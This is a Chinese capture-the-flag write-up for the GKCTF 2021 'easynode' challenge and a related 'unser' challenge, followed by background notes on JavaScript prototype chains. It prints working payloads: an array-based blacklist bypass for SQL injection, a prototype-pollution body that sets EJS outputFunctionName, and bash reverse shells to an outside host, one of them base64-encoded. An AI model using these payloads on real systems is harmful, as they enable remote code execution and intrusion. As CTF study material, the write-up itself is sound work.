目录
WEB
[GKCTF 2021]easynode
unser
知识点
WEB
根据此题先复现[GKCTF 2021]easynode这个题,这两个题类似
[GKCTF 2021]easynode
1.打开页面发现是登录页面,找到源文件里面的代码,分析如何进行登录,发现经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token
app.post('/login',function(req,res,next) //这行代码定义了一个处理 POST 请求的路由,路径为 /login。当客户端向这个路径发送 POST 请求时,会执行后面的匿名函数next。
{let username = req.body.username;let password = req.body.password; //这两行代码从请求体(req.body)中提取用户名和密码。safeQuery(username,password).then //safeQuery` 很可能是一个返回 Promise 的函数,用于安全地查询用户名和密码是否匹配。这个函数可能涉及到数据库查询(result =>{if(result[0]){const token = generateToken(username)res.json({"msg":"yes","token":token});}else{res.json({"msg":"username or password wrong"});}})这部分代码是 safeQuery 函数的回调函数,它处理查询结果。如果 result[0] 是真值(可能是表示查询成功),则调用 generateToken 函数生成一个令牌,并将其与消息 "yes" 一起返回给客户端,并会出现token的值。否则,返回错误消息 "username or password wrong"。
.then(close()).catch(err=>{res.json({"msg":"something wrong!"});});}) //catch 部分用于捕获并处理任何在上述过程中发生的错误。如果发生错误,它会向客户端发送一个错误消息 "something wrong!"。
2.由于这里出现了safeQuery()函数,所以去找相关信息,在这串代码中我们发现遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过
let safeQuery = async (username,password)=>{
//这里定义了一个名为 safeQuery 的异步函数,它接受两个参数:username 和 password。const waf = (str)=>{// console.log(str);blacklist = ['\\','\^',')','(','\"','\'']blacklist.forEach(element => {if (str == element){str = "*";}});return str;} //这个函数接受一个字符串 str,然后检查它是否包含 blacklist 数组中的任何字符。如果包含,它会将该字符替换为 *。简言之就是会把username和password中的\ ^ ( ) " '字符换成*const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){if (waf(str[i]) =="*"){str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);}}return str;}
//这个函数的目的是遍历输入字符串 str 的每个字符,并检查 waf 函数是否将其替换为 *。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回username = safeStr(username);password = safeStr(password);let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));//代码尝试使用某种 format 函数(该函数在这段代码中并未定义)来构建 SQL 查询。它限制了用户名和密码的长度为前20个字符// console.log(sql);result = JSON.parse(JSON.stringify(await select(sql)));return result;
}//代码首先等待 select 函数执行 SQL 查询,并将结果转化为 JSON 字符串,然后再将其解析回一个对象。
3.但是在利用数组绕过的时候发现后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串,利用这个特性,手动添加一个在黑名单的字符(位置在哪都行),括号被替换发生了字符串相加,payload如下:
username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456
为什么中间要填那么多1:如果中间字符太少遍历完数组后又依次遍历每个字符,导致单引号被替换成星号
4.进行抓包,发送请求,得到token的值
5.观察源代码,发现在/adminDIV
路由中存在原型链污染
app.post("/adminDIV",async(req,res,next) =>{const token = req.cookies.tokenvar data = JSON.parse(req.body.data)let result = verifyToken(token);if(result !='err'){username = result;var sql ='select board from board';var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);for(var key in data){var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));}sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`select(sql).then(close()).catch( (err)=>{console.log(err)}); res.json({"msg":'addDiv successful!!!'});}else{res.end('nonono');}
});
存在extend函数造成原型链污染,用json格式的addDIV去污染board
6.观察一下
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;extend(board,JSON.parse(addDIV));
发现是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,所以我们就需要让 username 等于 __proto_,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token
app.post("/addAdmin",async (req,res,next) => {let username = req.body.username;let password = req.body.password;const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);select(sql).then(close()).catch( (err)=>{console.log(err)}); var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);console.log(sql);select(sql).then(close()).catch( (err)=>{console.log(err)});res.end('add admin successful!')}else{res.end('stop!!!');}
});
7.接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。
我们利用刚刚得到admin的token去创建用户__proto__
8. 然后在login
去登录,成功得到token值
由于反弹shell可能出现编码问题,我们base64加上url编码一下
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}
成功污染
9.然后找到调用ejs模板的/admin
路由
app.get("/admin",async (req,res,next) => {const token = req.cookies.tokenlet result = verifyToken(token);if (result !='err'){username = resultvar sql = `select board from board where username = '${username}'`;var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); board = JSON.parse(query[0].board);console.log(board);const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})res.writeHead(200, {"Content-Type": "text/html"});res.end(html)} else{res.json({'msg':'stop!!!'});}
});
找到调用处
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
10.board参数已经被我们污染了,也就是说只要username为__proto__
就行,往前看可以知道是由token决定,所以访问/admin
路由,修改为__proto__
的token发送即可
11.得到flag
unser
1.数组绕过,从而sql注入进行用户名admin登录,拿到session以后进入第二层:
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1
2.传参token,token只要是object就可以,两边都是undefined就通过了,得到flag:
token={"__proto__":{"flag":"1234"}}
知识点
资料:js原型链污染(超详细)-CSDN博客
JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户
【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客
浅析javascript原型链污染攻击 - 先知社区 (aliyun.com)
1.JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。
2.可以看到,person是一个Person类的实例,有四个属性:name、age、gender、proto。其中,前三个是我们构建函数中定义的,第4个属性proto就是Person.prototype。
参考下图:
3.原型链污染:
在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。
4.
-
原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有
__proto__
属性(隐式原型(2)所有函数拥有
prototype
属性(显式原型)(仅限函数) -
原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
-
原型对象:
在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性
prototype
指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor
指向了这个函数A。